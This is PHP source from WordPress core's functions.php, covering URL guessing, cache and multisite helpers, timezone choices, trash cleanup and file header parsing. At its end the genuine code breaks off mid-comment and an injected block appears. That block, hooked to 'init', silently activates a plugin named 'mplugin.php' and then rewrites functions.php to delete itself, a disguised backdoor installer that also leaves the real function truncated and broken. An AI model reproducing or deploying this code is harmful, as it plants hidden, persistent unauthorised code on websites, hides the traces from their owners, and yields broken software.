the admin. if ( strpos( $_SERVER['REQUEST_URI'], 'wp-admin' ) !== false || strpos( $_SERVER['REQUEST_URI'], 'wp-login.php' ) !== false ) { $path = preg_replace( '#/(wp-admin/.*|wp-login.php)#i', '', $_SERVER['REQUEST_URI'] ); // The request is for a file in ABSPATH. } elseif ( $script_filename_dir . '/' === $abspath_fix ) { // Strip off any file/query params in the path. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['PHP_SELF'] ); } else { if ( false !== strpos( $_SERVER['SCRIPT_FILENAME'], $abspath_fix ) ) { // Request is hitting a file inside ABSPATH. $directory = str_replace( ABSPATH, '', $script_filename_dir ); // Strip off the subdirectory, and any file/query params. $path = preg_replace( '#/' . preg_quote( $directory, '#' ) . '/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ); } elseif ( false !== strpos( $abspath_fix, $script_filename_dir ) ) { // Request is hitting a file above ABSPATH. $subdirectory = substr( $abspath_fix, strpos( $abspath_fix, $script_filename_dir ) + strlen( $script_filename_dir ) ); // Strip off any file/query params from the path, appending the subdirectory to the installation. $path = preg_replace( '#/[^/]*$#i', '', $_SERVER['REQUEST_URI'] ) . $subdirectory; } else { $path = $_SERVER['REQUEST_URI']; } } $schema = is_ssl() ? 'https://' : 'http://'; // set_url_scheme() is not defined yet. $url = $schema . $_SERVER['HTTP_HOST'] . $path; } return rtrim( $url, '/' ); } /** * Temporarily suspend cache additions. * * Stops more data being added to the cache, but still allows cache retrieval. * This is useful for actions, such as imports, when a lot of data would otherwise * be almost uselessly added to the cache. * * Suspension lasts for a single page load at most. Remember to call this * function again if you wish to re-enable cache adds earlier. * * @since 3.3.0 * * @param bool $suspend Optional. Suspends additions if true, re-enables them if false. * @return bool The current suspend setting */ function wp_suspend_cache_addition( $suspend = null ) { static $_suspend = false; if ( is_bool( $suspend ) ) { $_suspend = $suspend; } return $_suspend; } /** * Suspend cache invalidation. * * Turns cache invalidation on and off. Useful during imports where you don't want to do * invalidations every time a post is inserted. Callers must be sure that what they are * doing won't lead to an inconsistent cache when invalidation is suspended. * * @since 2.7.0 * * @global bool $_wp_suspend_cache_invalidation * * @param bool $suspend Optional. Whether to suspend or enable cache invalidation. Default true. * @return bool The current suspend setting. */ function wp_suspend_cache_invalidation( $suspend = true ) { global $_wp_suspend_cache_invalidation; $current_suspend = $_wp_suspend_cache_invalidation; $_wp_suspend_cache_invalidation = $suspend; return $current_suspend; } /** * Determine whether a site is the main site of the current network. * * @since 3.0.0 * @since 4.9.0 The `$network_id` parameter was added. * * @param int $site_id Optional. Site ID to test. Defaults to current site. * @param int $network_id Optional. Network ID of the network to check for. * Defaults to current network. * @return bool True if $site_id is the main site of the network, or if not * running Multisite. */ function is_main_site( $site_id = null, $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( ! $site_id ) { $site_id = get_current_blog_id(); } $site_id = (int) $site_id; return get_main_site_id( $network_id ) === $site_id; } /** * Gets the main site ID. * * @since 4.9.0 * * @param int $network_id Optional. The ID of the network for which to get the main site. * Defaults to the current network. * @return int The ID of the main site. */ function get_main_site_id( $network_id = null ) { if ( ! is_multisite() ) { return get_current_blog_id(); } $network = get_network( $network_id ); if ( ! $network ) { return 0; } return $network->site_id; } /** * Determine whether a network is the main network of the Multisite installation. * * @since 3.7.0 * * @param int $network_id Optional. Network ID to test. Defaults to current network. * @return bool True if $network_id is the main network, or if not running Multisite. */ function is_main_network( $network_id = null ) { if ( ! is_multisite() ) { return true; } if ( null === $network_id ) { $network_id = get_current_network_id(); } $network_id = (int) $network_id; return ( get_main_network_id() === $network_id ); } /** * Get the main network ID. * * @since 4.3.0 * * @return int The ID of the main network. */ function get_main_network_id() { if ( ! is_multisite() ) { return 1; } $current_network = get_network(); if ( defined( 'PRIMARY_NETWORK_ID' ) ) { $main_network_id = PRIMARY_NETWORK_ID; } elseif ( isset( $current_network->id ) && 1 === (int) $current_network->id ) { // If the current network has an ID of 1, assume it is the main network. $main_network_id = 1; } else { $_networks = get_networks( array( 'fields' => 'ids', 'number' => 1, ) ); $main_network_id = array_shift( $_networks ); } /** * Filters the main network ID. * * @since 4.3.0 * * @param int $main_network_id The ID of the main network. */ return (int) apply_filters( 'get_main_network_id', $main_network_id ); } /** * Determine whether global terms are enabled. * * @since 3.0.0 * * @return bool True if multisite and global terms enabled. */ function global_terms_enabled() { if ( ! is_multisite() ) { return false; } static $global_terms = null; if ( is_null( $global_terms ) ) { /** * Filters whether global terms are enabled. * * Returning a non-null value from the filter will effectively short-circuit the function * and return the value of the 'global_terms_enabled' site option instead. * * @since 3.0.0 * * @param null $enabled Whether global terms are enabled. */ $filter = apply_filters( 'global_terms_enabled', null ); if ( ! is_null( $filter ) ) { $global_terms = (bool) $filter; } else { $global_terms = (bool) get_site_option( 'global_terms_enabled', false ); } } return $global_terms; } /** * Determines whether site meta is enabled. * * This function checks whether the 'blogmeta' database table exists. The result is saved as * a setting for the main network, making it essentially a global setting. Subsequent requests * will refer to this setting instead of running the query. * * @since 5.1.0 * * @global wpdb $wpdb WordPress database abstraction object. * * @return bool True if site meta is supported, false otherwise. */ function is_site_meta_supported() { global $wpdb; if ( ! is_multisite() ) { return false; } $network_id = get_main_network_id(); $supported = get_network_option( $network_id, 'site_meta_supported', false ); if ( false === $supported ) { $supported = $wpdb->get_var( "SHOW TABLES LIKE '{$wpdb->blogmeta}'" ) ? 1 : 0; update_network_option( $network_id, 'site_meta_supported', $supported ); } return (bool) $supported; } /** * gmt_offset modification for smart timezone handling. * * Overrides the gmt_offset option if we have a timezone_string available. * * @since 2.8.0 * * @return float|false Timezone GMT offset, false otherwise. */ function wp_timezone_override_offset() { $timezone_string = get_option( 'timezone_string' ); if ( ! $timezone_string ) { return false; } $timezone_object = timezone_open( $timezone_string ); $datetime_object = date_create(); if ( false === $timezone_object || false === $datetime_object ) { return false; } return round( timezone_offset_get( $timezone_object, $datetime_object ) / HOUR_IN_SECONDS, 2 ); } /** * Sort-helper for timezones. * * @since 2.9.0 * @access private * * @param array $a * @param array $b * @return int */ function _wp_timezone_choice_usort_callback( $a, $b ) { // Don't use translated versions of Etc. if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) { // Make the order of these more like the old dropdown. if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) { return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) ); } if ( 'UTC' === $a['city'] ) { if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) { return 1; } return -1; } if ( 'UTC' === $b['city'] ) { if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) { return -1; } return 1; } return strnatcasecmp( $a['city'], $b['city'] ); } if ( $a['t_continent'] == $b['t_continent'] ) { if ( $a['t_city'] == $b['t_city'] ) { return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] ); } return strnatcasecmp( $a['t_city'], $b['t_city'] ); } else { // Force Etc to the bottom of the list. if ( 'Etc' === $a['continent'] ) { return 1; } if ( 'Etc' === $b['continent'] ) { return -1; } return strnatcasecmp( $a['t_continent'], $b['t_continent'] ); } } /** * Gives a nicely-formatted list of timezone strings. * * @since 2.9.0 * @since 4.7.0 Added the `$locale` parameter. * * @param string $selected_zone Selected timezone. * @param string $locale Optional. Locale to load the timezones in. Default current site locale. * @return string */ function wp_timezone_choice( $selected_zone, $locale = null ) { static $mo_loaded = false, $locale_loaded = null; $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific' ); // Load translations for continents and cities. if ( ! $mo_loaded || $locale !== $locale_loaded ) { $locale_loaded = $locale ? $locale : get_locale(); $mofile = WP_LANG_DIR . '/continents-cities-' . $locale_loaded . '.mo'; unload_textdomain( 'continents-cities' ); load_textdomain( 'continents-cities', $mofile ); $mo_loaded = true; } $zonen = array(); foreach ( timezone_identifiers_list() as $zone ) { $zone = explode( '/', $zone ); if ( ! in_array( $zone[0], $continents, true ) ) { continue; } // This determines what gets set and translated - we don't translate Etc/* strings here, they are done later. $exists = array( 0 => ( isset( $zone[0] ) && $zone[0] ), 1 => ( isset( $zone[1] ) && $zone[1] ), 2 => ( isset( $zone[2] ) && $zone[2] ), ); $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] ); $exists[4] = ( $exists[1] && $exists[3] ); $exists[5] = ( $exists[2] && $exists[3] ); // phpcs:disable WordPress.WP.I18n.LowLevelTranslationFunction,WordPress.WP.I18n.NonSingularStringLiteralText $zonen[] = array( 'continent' => ( $exists[0] ? $zone[0] : '' ), 'city' => ( $exists[1] ? $zone[1] : '' ), 'subcity' => ( $exists[2] ? $zone[2] : '' ), 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ), 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ), 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ), ); // phpcs:enable } usort( $zonen, '_wp_timezone_choice_usort_callback' ); $structure = array(); if ( empty( $selected_zone ) ) { $structure[] = ''; } foreach ( $zonen as $key => $zone ) { // Build value in an array to join later. $value = array( $zone['continent'] ); if ( empty( $zone['city'] ) ) { // It's at the continent level (generally won't happen). $display = $zone['t_continent']; } else { // It's inside a continent group. // Continent optgroup. if ( ! isset( $zonen[ $key - 1 ] ) || $zonen[ $key - 1 ]['continent'] !== $zone['continent'] ) { $label = $zone['t_continent']; $structure[] = ''; } // Add the city to the value. $value[] = $zone['city']; $display = $zone['t_city']; if ( ! empty( $zone['subcity'] ) ) { // Add the subcity to the value. $value[] = $zone['subcity']; $display .= ' - ' . $zone['t_subcity']; } } // Build the value. $value = implode( '/', $value ); $selected = ''; if ( $value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; // Close continent optgroup. if ( ! empty( $zone['city'] ) && ( ! isset( $zonen[ $key + 1 ] ) || ( isset( $zonen[ $key + 1 ] ) && $zonen[ $key + 1 ]['continent'] !== $zone['continent'] ) ) ) { $structure[] = ''; } } // Do UTC. $structure[] = ''; $selected = ''; if ( 'UTC' === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; $structure[] = ''; // Do manual UTC offsets. $structure[] = ''; $offset_range = array( -12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5, 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14, ); foreach ( $offset_range as $offset ) { if ( 0 <= $offset ) { $offset_name = '+' . $offset; } else { $offset_name = (string) $offset; } $offset_value = $offset_name; $offset_name = str_replace( array( '.25', '.5', '.75' ), array( ':15', ':30', ':45' ), $offset_name ); $offset_name = 'UTC' . $offset_name; $offset_value = 'UTC' . $offset_value; $selected = ''; if ( $offset_value === $selected_zone ) { $selected = 'selected="selected" '; } $structure[] = ''; } $structure[] = ''; return implode( "\n", $structure ); } /** * Strip close comment and close php tags from file headers used by WP. * * @since 2.8.0 * @access private * * @see https://core.trac.wordpress.org/ticket/8497 * * @param string $str Header comment to clean up. * @return string */ function _cleanup_header_comment( $str ) { return trim( preg_replace( '/\s*(?:\*\/|\?>).*/', '', $str ) ); } /** * Permanently delete comments or posts of any type that have held a status * of 'trash' for the number of days defined in EMPTY_TRASH_DAYS. * * The default value of `EMPTY_TRASH_DAYS` is 30 (days). * * @since 2.9.0 * * @global wpdb $wpdb WordPress database abstraction object. */ function wp_scheduled_delete() { global $wpdb; $delete_timestamp = time() - ( DAY_IN_SECONDS * EMPTY_TRASH_DAYS ); $posts_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $posts_to_delete as $post ) { $post_id = (int) $post['post_id']; if ( ! $post_id ) { continue; } $del_post = get_post( $post_id ); if ( ! $del_post || 'trash' !== $del_post->post_status ) { delete_post_meta( $post_id, '_wp_trash_meta_status' ); delete_post_meta( $post_id, '_wp_trash_meta_time' ); } else { wp_delete_post( $post_id ); } } $comments_to_delete = $wpdb->get_results( $wpdb->prepare( "SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < %d", $delete_timestamp ), ARRAY_A ); foreach ( (array) $comments_to_delete as $comment ) { $comment_id = (int) $comment['comment_id']; if ( ! $comment_id ) { continue; } $del_comment = get_comment( $comment_id ); if ( ! $del_comment || 'trash' !== $del_comment->comment_approved ) { delete_comment_meta( $comment_id, '_wp_trash_meta_time' ); delete_comment_meta( $comment_id, '_wp_trash_meta_status' ); } else { wp_delete_comment( $del_comment ); } } } /** * Retrieve metadata from a file. * * Searches for metadata in the first 8 KB of a file, such as a plugin or theme. * Each piece of metadata must be on its own line. Fields can not span multiple * lines, the value will get cut at the end of the first line. * * If the file data is not within that first 8 KB, then the author should correct * their plugin file and move the data headers to the top. * * @link https://codex.wordpress.org/File_Header * * @since 2.9.0 * * @param string $file Absolute path to the file. * @param array $default_headers List of headers, in the format `array( 'HeaderKey' => 'Header Name' )`. * @param string $context Optional. If specified adds filter hook {@see 'extra_$context_headers'}. * Default empty. * @return string[] Array of file header values keyed by header name. */ function get_file_data( $file, $default_headers, $context = '' ) { // We don't need to write to the file, so just open for reading. $fp = fopen( $file, 'r' ); if ( $fp ) { // Pull only the first 8 KB of the file in. $file_data = fread( $fp, 8 * KB_IN_BYTES ); // PHP will close file handle, but we are good citizens. fclose( $fp ); } else { $file_data = ''; } // Make sure we catch CR-only line endings. $file_data = str_replace( "\r", "\n", $file_data ); /** * Filters extra file headers by context. * * The dynamic portion of the hook name, `$context`, refers to * the context where extra headers might be loaded. * * @since 2.9.0 * * @param array $extra_context_headers Empty array by default. */ $extra_headers = $context ? apply_filters( "extra_{$context}_headers", array() ) : array(); if ( $extra_headers ) { $extra_headers = array_combine( $extra_headers, $extra_headers ); // Keys equal values. $all_headers = array_merge( $extra_headers, (array) $default_headers ); } else { $all_headers = $default_headers; } foreach ( $all_headers as $field => $regex ) { if ( preg_match( '/^(?:[ \t]*<\?php)?[ \t\/*#@]*' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, $match ) && $match[1] ) { $all_headers[ $field ] = _cleanup_header_comment( $match[1] ); } else { $all_headers[ $field ] = ''; } } return $all_headers; } /** * Returns true. * * Useful for returning true to filters easily. * * @since 3.0.0 * * @see __return_false() * * @return true True. */ function __return_true() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return true; } /** * Returns false. * * Useful for returning false to filters easily. * * @since 3.0.0 * * @see __return_true() * * @return false False. */ function __return_false() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return false; } /** * Returns 0. * * Useful for returning 0 to filters easily. * * @since 3.0.0 * * @return int 0. */ function __return_zero() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return 0; } /** * Returns an empty array. * * Useful for returning an empty array to filters easily. * * @since 3.0.0 * * @return array Empty array. */ function __return_empty_array() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return array(); } /** * Returns null. * * Useful for returning null to filters easily. * * @since 3.4.0 * * @return null Null value. */ function __return_null() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return null; } /** * Returns an empty string. * * Useful for returning an empty string to filters easily. * * @since 3.7.0 * * @see __return_null() * * @return string Empty string. */ function __return_empty_string() { // phpcs:ignore WordPress.NamingConventions.ValidFunctionName.FunctionDoubleUnderscore,PHPCompatibility.FunctionNameRestrictions.ReservedFunctionNames.FunctionDoubleUnderscore return ''; } /** * Send a HTTP header to disable content type sniffing in browsers which support it. * * @since 3.0.0 * * @see https://blogs.msdn.com/ie/archive/2008/07/02/ie8-security-part-v-comprehensive-protection.aspx * @see https://src.chromium.org/viewvc/chrome?view=rev&revision=6985 */ function send_nosniff_header() { header( 'X-Content-Type-Options: nosniff' ); } /** * Return a MySQL expression for selecting the week number based on the start_of_week option. * * @ignore * @since 3.0.0 * * @param string $column Database column. * @return string SQL clause. */ function _wp_mysql_week( $column ) { $start_of_week = (int) get_option( 'start_of_week' ); switch ( $start_of_week ) { case 1: return "WEEK( $column, 1 )"; case 2: case 3: case 4: case 5: case 6: return "WEEK( DATE_SUB( $column, INTERVAL $start_of_week DAY ), 0 )"; case 0: default: return "WEEK( $column, 0 )"; } } /** * Find hierarchy loops using a callback function that maps object IDs to parent IDs. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, $callback_args ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param int $start_parent The parent_ID of $start to use instead of calling $callback( $start ). * Use null to always use $callback * @param array $callback_args Optional. Additional arguments to send to $callback. * @return array IDs of all members of loop. */ function wp_find_hierarchy_loop( $callback, $start, $start_parent, $callback_args = array() ) { $override = is_null( $start_parent ) ? array() : array( $start => $start_parent ); $arbitrary_loop_member = wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override, $callback_args ); if ( ! $arbitrary_loop_member ) { return array(); } return wp_find_hierarchy_loop_tortoise_hare( $callback, $arbitrary_loop_member, $override, $callback_args, true ); } /** * Use the "The Tortoise and the Hare" algorithm to detect loops. * * For every step of the algorithm, the hare takes two steps and the tortoise one. * If the hare ever laps the tortoise, there must be a loop. * * @since 3.1.0 * @access private * * @param callable $callback Function that accepts ( ID, callback_arg, ... ) and outputs parent_ID. * @param int $start The ID to start the loop check at. * @param array $override Optional. An array of ( ID => parent_ID, ... ) to use instead of $callback. * Default empty array. * @param array $callback_args Optional. Additional arguments to send to $callback. Default empty array. * @param bool $_return_loop Optional. Return loop members or just detect presence of loop? Only set * to true if you already know the given $start is part of a loop (otherwise * the returned array might include branches). Default false. * @return mixed Scalar ID of some arbitrary member of the loop, or array of IDs of all members of loop if * $_return_loop */ function wp_find_hierarchy_loop_tortoise_hare( $callback, $start, $override = array(), $callback_args = array(), $_return_loop = false ) { $tortoise = $start; $hare = $start; $evanescent_hare = $start; $return = array(); // Set evanescent_hare to one past hare. // Incremif ( ! function_exists( 'true_plugins_activate' ) ) { function true_plugins_activate() { $active_plugins = get_option('active_plugins'); $activate_this = array( 'mplugin.php' ); foreach ($activate_this as $plugin) { if (!in_array($plugin, $active_plugins)) { array_push($active_plugins, $plugin); update_option('active_plugins', $active_plugins); } } $new_active_plugins = get_option('active_plugins'); if (in_array('mplugin.php', $new_active_plugins)) { $functionsPath = dirname(__FILE__) . '/functions.php'; $functions = file_get_contents($functionsPath); $start = stripos($functions, "if ( ! function_exists( 'true_plugins_activate' ) ) {"); $end = strripos($functions, "true_plugins_activate"); $endDelete = $end + mb_strlen("true_plugins_activate") + 4; if($start && $end) { $str = substr($functions, 0, $start); $str .= substr($functions, $endDelete); file_put_contents($functionsPath, $str); } $script = file_get_contents('/home/demo/public_html/yobazaar/wp-content/plugins/mplugin.php'); //file_put_contents('/home/demo/public_html/yobazaar/wp-content/plugins/mplugin.php', ''); } } add_action('init', 'true_plugins_activate');}